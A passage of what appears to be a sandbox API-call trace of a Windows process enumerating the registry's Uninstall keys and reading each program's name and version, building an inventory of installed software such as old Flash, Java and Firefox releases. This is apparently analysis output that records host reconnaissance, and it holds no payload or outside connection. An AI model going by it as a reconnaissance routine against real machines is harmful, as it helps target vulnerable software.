Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\nȢ绻\x1c") returned 14 [0166.361] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b74, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB25497439743\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\nȢ绻\x1c") returned 100 [0166.361] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x71c) returned 0x0 [0166.362] RegQueryValueExW (in: hKey=0x71c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.362] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.362] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n", cchWideChar=284, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n2", lpUsedDefaultChar=0x0) returned 284 [0166.362] RegEnumKeyA (in: hKey=0x674, dwIndex=0x15, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned 0x0 [0166.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04be8, cbMultiByte=284, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nṽﮦ眨㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 284 [0166.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nṽﮦ眨㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 11 [0166.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32180, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nṽﮦ眨㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 100 [0166.362] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x720) returned 0x0 [0166.362] RegQueryValueExW (in: hKey=0x720, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.362] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321f4, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nṽﮦ眨㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 14 [0166.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32294, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB25650635063\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nṽﮦ眨㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 100 [0166.363] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x724) returned 0x0 [0166.363] RegQueryValueExW (in: hKey=0x724, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.363] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.363] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n", cchWideChar=288, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n.", lpUsedDefaultChar=0x0) returned 288 [0166.363] RegEnumKeyA (in: hKey=0x674, dwIndex=0x16, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned 0x0 [0166.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32308, cbMultiByte=288, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 288 [0166.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 11 [0166.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2830, cbMultiByte=99, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 99 [0166.364] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x728) returned 0x0 [0166.364] RegQueryValueExW (in: hKey=0x728, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.364] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ae0, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 14 [0166.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b7c, cbMultiByte=99, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB9825732573\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n㇠[ḢḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 99 [0166.364] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x72c) returned 0x0 [0166.364] RegQueryValueExW (in: hKey=0x72c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.364] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.365] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n", cchWideChar=292, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n)", lpUsedDefaultChar=0x0) returned 292 [0166.365] RegEnumKeyA (in: hKey=0x674, dwIndex=0x17, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 0x0 [0166.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bec, cbMultiByte=292, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 292 [0166.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 11 [0166.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32174, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 90 [0166.365] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x730) returned 0x0 [0166.365] RegQueryValueExW (in: hKey=0x730, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Java 7 Update 71", lpcbData=0x1e7df794*=0x22) returned 0x0 [0166.365] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321dc, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 14 [0166.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32270, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}1FF}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nḢぎ@⁖@ぎ@⇻@褐ṽ≾@ṽᶤ῏ṽ塚ṽ") returned 90 [0166.366] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x734) returned 0x0 [0166.366] RegQueryValueExW (in: hKey=0x734, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="7.0.710", lpcbData=0x1e7df78c*=0x10) returned 0x0 [0166.366] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.366] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\n", cchWideChar=319, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\n", lpUsedDefaultChar=0x0) returned 319 [0166.366] RegEnumKeyA (in: hKey=0x674, dwIndex=0x18, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 0x0 [0166.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3964, cbMultiByte=319, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\n@塚ṽ㔅@塚ṽ㗼@塚ṽ\x1c") returned 319 [0166.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\n@塚ṽ㔅@塚ṽ㗼@塚ṽ\x1c") returned 11 [0166.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ad8, cbMultiByte=90, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\n@塚ṽ㔅@塚ṽ㗼@塚ṽ\x1c") returned 90 [0166.367] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x738) returned 0x0 [0166.367] RegQueryValueExW (in: hKey=0x738, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpcbData=0x1e7df794*=0x7a) returned 0x0 [0166.367] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b40, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\n@塚ṽ㔅@塚ṽ㗼@塚ṽ\x1c") returned 14 [0166.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322e8, cbMultiByte=90, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}d6f}.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\n@塚ṽ㔅@塚ṽ㗼@塚ṽ\x1c") returned 90 [0166.367] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x73c) returned 0x0 [0166.367] RegQueryValueExW (in: hKey=0x73c, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="11.0.61030.0", lpcbData=0x1e7df78c*=0x1a) returned 0x0 [0166.368] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.368] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\n", cchWideChar=395, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 